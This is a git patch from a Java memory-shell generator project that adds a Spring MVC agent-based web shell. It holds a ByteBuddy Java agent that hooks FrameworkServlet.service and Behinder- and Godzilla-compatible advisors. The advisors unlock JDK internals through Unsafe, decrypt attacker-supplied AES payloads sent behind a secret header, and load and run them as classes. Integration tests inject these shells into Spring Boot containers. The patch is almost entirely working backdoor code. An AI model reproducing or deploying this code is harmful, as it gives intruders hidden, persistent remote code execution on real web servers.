From ee6490cf34010232f1ff17ef41d12b6d08d7a83d Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 18 Jan 2025 12:51:41 +0800 Subject: [PATCH] feat: support springwebmvc agent shell 1. hook point is org.springframework.web.servlet.FrameworkServlet.service --- .../javaweb/memshell/SpringMVCShell.java | 14 ++- integration-test/script/springboot_pid.sh | 2 + .../javaweb/integration/ContainerTool.java | 1 + .../springmvc/SpringBoot2ContainerTest.java | 12 +- .../springmvc/SpringBoot3ContainerTest.java | 11 +- .../behinder/BehinderServletAdvisor.java | 96 ++++++++++++++++ .../godzilla/GodzillaServletAdvisor.java | 104 ++++++++++++++++++ .../SpringFrameworkServletAgentInjector.java | 64 +++++++++++ 8 files changed, 295 insertions(+), 9 deletions(-) create mode 100755 integration-test/script/springboot_pid.sh create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderServletAdvisor.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaServletAdvisor.java create mode 100644 memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringFrameworkServletAgentInjector.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/SpringMVCShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/SpringMVCShell.java index 1df6a72c..39e40f45 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/SpringMVCShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/SpringMVCShell.java @@ -1,12 +1,16 @@ package com.reajason.javaweb.memshell; +import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler; import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor; +import com.reajason.javaweb.memshell.springmvc.behinder.BehinderServletAdvisor; import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler; import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor; import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler; import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor; +import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaServletAdvisor; import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInjector; +import com.reajason.javaweb.memshell.springmvc.injector.SpringFrameworkServletAgentInjector; import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector; import org.apache.commons.lang3.tuple.Pair; @@ -21,6 +25,7 @@ public class SpringMVCShell extends AbstractShell { public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor"; public static final String CONTROLLER_HANDLER = "ControllerHandler"; public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler"; + public static final String AGENT_FRAMEWORK_SERVLET = "AgentFrameworkServlet"; @Override protected Map, Class>> getBehinderShellMap() { @@ -28,7 +33,8 @@ public class SpringMVCShell extends AbstractShell { INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class), JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class), CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class), - JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class) + JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class), + AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringFrameworkServletAgentInjector.class) ); } @@ -38,7 +44,8 @@ public class SpringMVCShell extends AbstractShell { INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class), JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class), CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class), - JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class) + JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class), + AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringFrameworkServletAgentInjector.class) ); } @@ -48,7 +55,8 @@ public class SpringMVCShell extends AbstractShell { INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class), JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class), CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class), - JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class) + JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class), + AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringFrameworkServletAgentInjector.class) ); } } \ No newline at end of file diff --git a/integration-test/script/springboot_pid.sh b/integration-test/script/springboot_pid.sh new file mode 100755 index 00000000..87b182d2 --- /dev/null +++ b/integration-test/script/springboot_pid.sh @@ -0,0 +1,2 @@ +#!/bin/bash +jps | grep -E "jar" | awk '{print $1}' | tr -d '\n' \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 6f6d46cf..6b4ce5e0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -30,6 +30,7 @@ public class ContainerTool { public static final MountableFile jettyPid = MountableFile.forHostPath(Path.of("script/jetty_pid.sh")); public static final MountableFile webspherePid = MountableFile.forHostPath(Path.of("script/websphere_pid.sh")); public static final MountableFile weblogicPid = MountableFile.forHostPath(Path.of("script/weblogic_pid.sh")); + public static final MountableFile springbootPid = MountableFile.forHostPath(Path.of("script/springboot_pid.sh")); public static String getUrl(GenericContainer container) { String host = container.getHost(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java index 616d7df6..4dd2ba3e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.springmvc; import com.reajason.javaweb.memshell.SpringMVCShell; +import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; @@ -18,7 +19,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.springBoot2Dockerfile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +37,8 @@ public class SpringBoot2ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() .withDockerfile(springBoot2Dockerfile)) + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(springbootPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/test")) .withExposedPorts(8080); @@ -58,7 +61,10 @@ public class SpringBoot2ContainerTest { arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64) + arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -71,7 +77,7 @@ public class SpringBoot2ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer, container); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java index f47b8884..abfe403f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java @@ -18,7 +18,7 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.util.stream.Stream; -import static com.reajason.javaweb.integration.ContainerTool.springBoot3Dockerfile; +import static com.reajason.javaweb.integration.ContainerTool.*; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; @@ -36,6 +36,8 @@ public class SpringBoot3ContainerTest { @Container public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() .withDockerfile(springBoot3Dockerfile)) + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(springbootPid, "/fetch_pid.sh") .waitingFor(Wait.forHttp("/test")) .withExposedPorts(8080); @@ -46,7 +48,10 @@ public class SpringBoot3ContainerTest { arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64) + arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -59,7 +64,7 @@ public class SpringBoot3ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer); + testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer, container); } public static String getUrl(GenericContainer container) { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderServletAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderServletAdvisor.java new file mode 100644 index 00000000..963856e9 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderServletAdvisor.java @@ -0,0 +1,96 @@ +package com.reajason.javaweb.memshell.springmvc.behinder; + +import net.bytebuddy.asm.Advice; + +import java.io.BufferedReader; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/1/18 + */ +public class BehinderServletAdvisor { + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object res, + @Advice.Origin Class targetClazz + ) { + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Object unsafe = unsafeField.get(null); + Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); + java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); + java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, targetClazz, offset, module); + } catch (Exception ignored) { + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + Map obj = new HashMap(3); + obj.put("request", request); + Object response = res; + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField("response"); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field != null) { + field.setAccessible(true); + response = field.get(response); + } + obj.put("response", response); + Object session = request.getClass().getMethod("getSession").invoke(request); + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); + obj.put("session", session); + byte[] data = null; + Class base64; + BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); + String parameter = reader.readLine(); + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Class cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader()); + Class secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader()); + Class keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader()); + Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES"); + Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES"); + Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass); + Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class); + cipherInitMethod.invoke(cipher, 2, secretKeySpec); + byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length); + Object instance = payload.newInstance(); + instance.equals(obj); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaServletAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaServletAdvisor.java new file mode 100644 index 00000000..f7c94002 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaServletAdvisor.java @@ -0,0 +1,104 @@ +package com.reajason.javaweb.memshell.springmvc.godzilla; + +import net.bytebuddy.asm.Advice; + +import java.io.ByteArrayOutputStream; +import java.io.PrintWriter; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + */ +public class GodzillaServletAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object response, + @Advice.Origin Class clazz + ) { + String key = "key"; + String pass = "pass"; + String md5 = "md5"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Object unsafe = unsafeField.get(null); + Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); + Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); + Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, clazz, offset, module); + } catch (Exception ignored) { + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + byte[] data = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Class cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader()); + Class secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader()); + Class keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader()); + Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass); + Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class); + + Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES"); + Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(key.getBytes(), "AES"); + cipherInitMethod.invoke(cipher, 2, secretKeySpec); + + data = (byte[]) doFinalMethod.invoke(cipher, data); + Object session = request.getClass().getMethod("getSession").invoke(request); + Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload"); + if (sessionPayload == null) { + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload); + } else { + request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = ((Class) sessionPayload).newInstance(); + f.equals(arrOut); + f.equals(request); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + writer.write(md5.substring(0, 16)); + f.toString(); + + cipherInitMethod.invoke(cipher, 1, secretKeySpec); + byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher, arrOut.toByteArray()); + String result = null; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes); + } + writer.write(result); + writer.write(md5.substring(16)); + } + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringFrameworkServletAgentInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringFrameworkServletAgentInjector.java new file mode 100644 index 00000000..341f9689 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/injector/SpringFrameworkServletAgentInjector.java @@ -0,0 +1,64 @@ +package com.reajason.javaweb.memshell.springmvc.injector; + +import net.bytebuddy.agent.builder.AgentBuilder; +import net.bytebuddy.asm.Advice; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.matcher.ElementMatchers; +import net.bytebuddy.utility.JavaModule; + +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; + +import static net.bytebuddy.matcher.ElementMatchers.named; + +/** + * @author ReaJason + * @since 2024/12/28 + */ +public class SpringFrameworkServletAgentInjector implements AgentBuilder.Transformer { + + static Class interceptorClass = null; + + static { + try { + interceptorClass = Class.forName(getClassName()); + } catch (ClassNotFoundException e) { + e.printStackTrace(); + } + } + + @Override + public DynamicType.Builder transform(DynamicType.Builder builder, + TypeDescription typeDescription, + ClassLoader classLoader, JavaModule module, + ProtectionDomain protectionDomain) { + return builder.visit(Advice.to(interceptorClass).on(named("service"))); + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static String getClassName() { + return "{{advisorName}}"; + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + new AgentBuilder.Default() + .ignore(ElementMatchers.none()) + .disableClassFormatChanges() + .with(AgentBuilder.RedefinitionStrategy.REDEFINITION) +// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly()) +// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly()) + .type(named("org.springframework.web.servlet.FrameworkServlet")) + .transform(new SpringFrameworkServletAgentInjector()) + .installOn(inst); + System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service"); + } +} \ No newline at end of file